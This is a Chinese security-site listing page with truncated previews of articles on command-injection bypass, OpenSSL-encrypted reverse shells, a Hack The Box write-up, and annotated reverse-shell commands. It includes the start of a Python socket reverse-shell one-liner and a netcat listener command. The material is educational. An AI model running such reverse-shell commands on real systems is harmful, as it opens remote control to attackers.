dup - 第 3 | CN-SEC 中文网

安全文章

一次命令执行漏洞的绕过之我是菜逼

今天下午在公司测（mo）试（yu）的时候，通过搜索响应中的关键字，一处报错信息引起了我的注意：开搞首先whoami看下能不能回显：显然不能。。那我们用dnslog测试下：好像过滤替换了不少特殊符号，经...

10月10日62 views评论

安全文章

点击蓝字关注我们日期：2022-05-19作者：hdsec介绍：对反弹shell传输的数据进行加密。0x00 前言借用百度词条的解释，在计算机网络上，OpenSSL是一个开放源代码的软件库包，应用程...

05月20日113 views评论

安全文章

本次write up内容是Hack The Box里machines的靶场Bashed。1-信息收集首先进行端口扫描，发现开放了80端口访问WEB界面查看内容2-目录扫描使用Dirsearch脚本对W...

03月18日235 views评论

安全文章

转自墨痕诉清风的博客常用python/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,soc...

04月24日33 views评论

nc -l 1234 注释版 #shell执行 python -c #用到subprocess库fork子进程并监听结束 #os.dup2函数将shell标准输入输出绑定到sock...

05月19日颓废's Blog565 views评论